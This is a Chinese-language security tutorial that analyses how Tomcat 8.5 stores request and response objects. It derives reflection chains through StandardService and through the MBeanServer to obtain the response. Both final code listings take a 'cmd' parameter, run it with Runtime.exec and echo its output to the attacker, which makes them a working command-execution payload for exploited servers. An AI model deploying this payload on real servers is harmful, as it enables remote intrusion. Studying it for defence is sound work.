Tomcat回显链(一)
介绍
2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路,寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象。整个过程分析下来就像是在构造调用链,一环扣一环,直到找到了那个静态变量或者是那个已经创建过的对象。
优势
利用中间件来实现回显,可以跨平台通用,只要使用了相关的组件就可以达到回显的目的
实现手法
个人感觉和内存马输出的方法类似,要想控制输出,那么就要获取到response,然后对其进行定制化调用,实现内容输出
快速搭建tomcat调试环境
之前在学习EL表达式的时候,使用了IDEA一种结合本地tomcat服务器搭建环境的方法;
这次我们使用另一种内置Tomcat的方法,来方便我们调试tomcat
Tomcat实际上也是一个Java程序,我们看看Tomcat的启动流程:
- 启动JVM并执行Tomcat的
main()方法; - 加载war并初始化Servlet;
- 正常服务。
启动Tomcat无非就是设置好classpath并执行Tomcat某个jar包的main()方法,我们完全可以把Tomcat的jar包全部引入进来,然后自己编写一个main()方法,先启动Tomcat,然后让它加载我们的webapp就行。
创建maven项目

修改pom.xml
引入tomcat依赖包,修改pom.xml文件,引入依赖 tomcat-embed-core 和 tomcat-embed-jasper,引入的 Tomcat 版本 <tomcat.version> 为 8.5.47。
tomcat-embed-core 依赖包含 javax.servlet 下的内容,因此不需要再额外引入依赖 javax.servlet-api。
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
<tomcat.version>8.5.47</tomcat.version> <!-- 设定tomcat版本 -->
</properties>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
<version>${tomcat.version}</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
<version>${tomcat.version}</version>
</dependency>
创建Java代码文件夹
创建maven规范的代码存放文件夹java

创建启动类
以TomcatMain为例,创建后启动访问http://localhost:8080/就可以看到hello world界面了
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.startup.Tomcat;
import org.apache.catalina.webresources.DirResourceSet;
import org.apache.catalina.webresources.StandardRoot;
import java.io.File;
/**
* @author d4m1ts
*/
public class TomcatMain {
public static void main(String[] args) throws LifecycleException {
// 启动tomcat
Tomcat tomcat = new Tomcat();
tomcat.setPort(8080);
tomcat.getConnector();
// 创建webapp
// 创建上下文,后面要绝对路径
Context context = tomcat.addWebapp("","/Users/d4m1ts/d4m1ts/java/TomcatEcho/src/main/webapp");
WebResourceRoot resources = new StandardRoot(context);
resources.addPreResources(new DirResourceSet(resources, "/WEB-INF/classes",new File("target/classes").getAbsolutePath(), "/"));
context.setResources(resources);
tomcat.start();
tomcat.getServer().await();
}
}

创建servlet
直接在java目录上点击鼠标右键New可能没有Create New Servlet等选项来快速创建servlet-api,需要执行下列的一些操作来添加上(有的可以直接看下面创建部分):
1、将src标记成Sources文件

2、配置source root
我的servlet写在src\main\java里,所以就勾选第一个。要是打算在多个文件下Create New Servlet ,那就把src的都勾上。

快速创建servlet:

编写代码:
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "HelloServlet", urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter writer = response.getWriter();
writer.write("hello world");
writer.flush();
}
}

servlet过程分析
在我们编写的servlet处下个断点,然后用浏览器访问,观察调用栈
doGet:18, HelloServlet
service:634, HttpServlet (javax.servlet.http)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
可以看到:
- 1-3行是servlet处理过程
- 4-5行是filter处理过程
- 再向下就是tomcat的各种初始化过程
考虑到一些组件如Shiro、JFinal都有全局拦截器,如果我们想要非常通用,最好是在tomcat初始化的过程中就获取到response然后定制修改;
从上面的堆栈来看,就是从>=第六行去寻找,越靠后就说明在初始化过程中越早,利用效果越好。
利用链挖掘
response获取
- 找到
response对象 - 分析它如何初始化的(它是怎么来的)
- 获取到它初始化后的实例
- 通过它去控制输出
平时我们要拿到一个内存中的实例对象,主要有两种方法:
- 反射
- 回溯分析,应用是怎么初始化这个变量的,找关联函数、类、类变量等,再得到这个变量
分析上面的调用栈,除去后期对servlet和filter的处理
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:798, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
从下向上挨着看,发现整个调用过程中最初使用到response的就是第8行的service:798, Http11Processor (org.apache.coyote.http11)

说明response和resquest在这之前就已经初始化了,所以我们需要向上回溯分析
查看这个response的定义,是org.apache.coyote.AbstractProcessor抽象类中的一个变量Response response

跟一下这个response是如何初始化的

发现是AbstractProcessor类的构造函数初始化,且resquest对象中包含了response
也就是说:我们后期如果拿到了
resquest,也可以通过其拿到response注意:想要调用下面的
protected构造函数,实际是需要调用上面的publuc构造函数,再通过上面的构造函数调用下面有response的构造函数

而在Http11Processor类中要用到这个protected修饰的response变量,大概率是继承了AbstractProcessor,去看下,很明显

所以我们还要找一下,response在Http11Processor类中是如何初始化的,看一下它的构造函数,是调用了父类AbstractProcessor的构造函数

所以request和response初始化是在Http11Processor的构造函数中初始化的
所以现在思路比较明确,Http11Processor类初始化后,通过各种方法拿到request或者response实例即可,因为它们是通过protected来修饰的,所以可以通过当前类、同包和子类中来查找是否有相关的函数来获取这俩实例
还是查找request和response实例的usage

发现org.apache.coyote.AbstractProcessor提供了一个getRequest方法来获取request对象

获取到request对象后,再通过Request类提供的getResponse方法来获取response

最后通过response的doWrite()方法,写进内容,返回给前端
也可以通过setHeader()方法写入到返回头中

所以一条response部分利用链如下:
Http11Processor继承了AbstractProcessor,所以调用Http11Processor#getRequest()就等于AbstractProcessor#getRequest()
Http11Processor#getRequest() ->
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()
Http11Processor类相关
前面挖掘部分说了,获取了Http11Processor实例后,就可以获取request,也就可以获取response,我们的目的也达成了,但是如何来获取Http11Processor实例或者Http11Processor request、response的变量呢
继续向前分析,看什么时候出现了Http11Processor类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process这个函数中,初始化是通过connections.get(socket)来赋值

但722行这个时候获取的processor值为null,因为connections值为空,在806行的时候才添加内容到connections中

所以我们重新下个断点分析一下processor是如何赋值的,可以看到connections722行初始化的时候长度是0,processor这个时候也是null,这也验证了我们上面说的

一直往后跟,在798行的时候会对processor进行赋值,调用this.getProtocol().createProcessor();来获得的

赋值后会进入register函数对processor进行一些处理,重点也在这
跟进注册函数,发现变量rp是RequestInfo类,而通过RequestInfo类我们可以获取到request,后续也就可以获取到response了
rp.req.getResponse()

所以这里我们可以着重关注一下,如何获取RequestInfo对象rp,从后面的内容可以看出来,主要有2个地方:
- 第一处会通过
rp.setGlobalProcessor(global)设置到global中,具体可以看代码 - 第二处会通过
Registry.getRegistry(null, null).registerComponent(rp,rpName, null);注册到其他地方

所以想要构造链,主要有两种方法:
- 寻找获取
global的方法 - 跟踪
Registry.registerComponent()流程,查看具体的RequestInfo对象被注册到什么地方了
获取global
先放下整条链的结果:
Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
global变量是AbstractProtocol静态内部类ConnectionHandler的成员变量;不是static静态变量,因此我们还需要找存储AbstractProtocol类或AbstractProtocol子类。现在的利用链为
AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
分析继承关系,发现它有子类Http11NioProtocol,所以如果我们获取到这个类,那么也能获取到global

Tomcat初始化StandardService时,会启动Container、Executor、mapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中
分析调用栈,发现存在这个类,org.apache.catalina.connector.CoyoteAdapter#connector的protocolHandler属性值类就是Http11NioProtocol

((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) connector.protocolHandler).handler).global.processors.get(0).req.getResponse()
所以现在的思路是如何获取到这个connector,新的利用链
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并通过org.apache.catalina.core.StandardService#addConnector存放在connectors中

然后通过org.apache.catalina.core.StandardService#initInternal进行初始化

因为先添加了再初始化,所以这个时要获取connectors,可以通过org.apache.catalina.core.StandardService来获取
所以利用链
StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
所以最后就是如何获得StandardService了,这里利用的是tomcat放弃了双亲委派模型的思路
双亲委派机制的缺点:当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。
通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,再从resources->context->context当中寻找即可。

所以最终的手法
Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
global链路代码
尽可能的找到能够直接通过函数获取到想要的数据,实在不行再使用反射
1、获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Thread.currentThread().getContextClassLoader().getClass()的值为org.apache.catalina.loader.ParallelWebappClassLoader,它继承了WebappClassLoaderBase,而resources变量是WebappClassLoaderBase类中的,所以这里如果也想使用反射的话,需要如下:
// 获取 StandardContext
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Field resources = org.apache.catalina.loader.WebappClassLoaderBase.class.getDeclaredField("resources");
resources.setAccessible(true);
org.apache.catalina.webresources.StandardRoot standardRoot = (StandardRoot) resources.get(contextClassLoader);
StandardContext standardContext = (StandardContext) standardRoot.getContext();
2、获取StandardContext中的context
Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

3、获取context中的service
Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
4、获取service中的connectors
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
5、反射获取 AbstractProtocol$ConnectoinHandler 实例
ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
6、反射获取global内部的processors
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
7、获取response输出内容
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
PrintWriter writer = response1.getWriter();
writer.write("tomcat echo");
writer.flush();
}
代码汇总:
// 获取 StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
// 反射获取StandardContext中的context
Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
// 反射获取context中的service
Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
// 反射获取service中的connectors
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
// 反射获取 AbstractProtocol$ConnectoinHandler 实例
ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
// 反射获取global内部的processors
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
// 获取response修改数据
// 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
// 获取参数
PrintWriter writer = response1.getWriter();
String cmd = request2.getParameter("cmd");
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
DataInputStream dataInputStream = new DataInputStream(inputStream);
String disr = dataInputStream.readLine();
while ( disr != null ) {
writer.write(disr);
disr = dataInputStream.readLine();
}
}
writer.flush();
}
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
} catch (NoSuchFieldException noSuchFieldException) {
noSuchFieldException.printStackTrace();
}
效果

跟踪Registry.registerComponent()
跟进org.apache.tomcat.util.modeler.Registry#registerComponent(java.lang.Object, javax.management.ObjectName, java.lang.String)这个函数,发现会给RequestInfo对象注册到MBeanServer中
oname的值为Tomcat:name=HttpRequest1,type=RequestProcessor,worker="http-nio-8080"

所以如果能通过MBeanServer来获取到相关的信息,会更加的方便直接
分析一下,通过Registry#getMBeanServer()函数能够直接获取到MBeanServer实例

所以现在问题是怎么拿到org.apache.tomcat.util.modeler.Registry这个类的实例,我们还是分析一下应用是怎么拿到的,然后模拟一下即可
它是直接使用Registry.getRegistry(null, null)来获取的

所以我们也模拟一下这个过程,整个过程中变量.getClass是什么类我们就给他转换为什么类即可
如
jmxMBeanServer.mbsInterceptor.getClass()的类是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor,我们就给他转换过去即可老实说
MBeanServer到RequestInfo的过程还是有点难找,不知道有没有啥快的办法,还是大佬们牛逼
com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) jmxMBeanServer.mbsInterceptor;
com.sun.jmx.mbeanserver.Repository repository = defaultMBeanServerInterceptor.repository;
repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);

这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。有了RequestInfo,那我们就可以拿到response完成回显了
利用链:
jmxMBeanServer->resource(和上面的global一样)->->processors->RequestInfo->req->response
MBeanServer链路代码
这个比上面的要简单一些,可以尝试自己多写写
try {
com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
Field mbsInterceptor = com.sun.jmx.mbeanserver.JmxMBeanServer.class.getDeclaredField("mbsInterceptor");
mbsInterceptor.setAccessible(true);
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) mbsInterceptor.get(jmxMBeanServer);
Field repository = defaultMBeanServerInterceptor.getClass().getDeclaredField("repository");
repository.setAccessible(true);
com.sun.jmx.mbeanserver.Repository repository1 = (Repository) repository.get(defaultMBeanServerInterceptor);
HashSet<com.sun.jmx.mbeanserver.NamedObject> hashSet = (HashSet<com.sun.jmx.mbeanserver.NamedObject>) repository1.query(new javax.management.ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);
for (com.sun.jmx.mbeanserver.NamedObject namedObject : hashSet ) {
Field object = namedObject.getClass().getDeclaredField("object");
object.setAccessible(true);
org.apache.tomcat.util.modeler.BaseModelMBean baseModelMBean = (BaseModelMBean) object.get(namedObject);
Field resource = baseModelMBean.getClass().getDeclaredField("resource");
resource.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) resource.get(baseModelMBean);
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
// 获取response修改数据
// 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
// 获取参数
PrintWriter writer = response1.getWriter();
String cmd = request2.getParameter("cmd");
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
DataInputStream dataInputStream = new DataInputStream(inputStream);
String disr = dataInputStream.readLine();
while (disr != null) {
writer.write(disr);
disr = dataInputStream.readLine();
}
}
writer.flush();
}
}
} catch (NoSuchFieldException | IllegalAccessException | MalformedObjectNameException e) {
e.printStackTrace();
}
效果:

总结
- 最后代码实现过程还是比较简单,主要还是分析过程找到一条可利用的链
- 平时我们要拿到一个内存中的实例对象,主要有两种方法:
- 反射
- 向上回溯分析,应用是怎么初始化这个实例的,找关联函数、类、类变量等,再得到这个实例
- 向上一直回溯到可以通过一些方法获取到内存中的实例为止,如
Registry.getRegistry(null, null).getMBeanServer(),相当于找到整条链的头 - 编写代码过程中不知道返回的对象是哪一个类的,可以通过debug调试看到,然后再进行类型转换
如有错误,敬请指正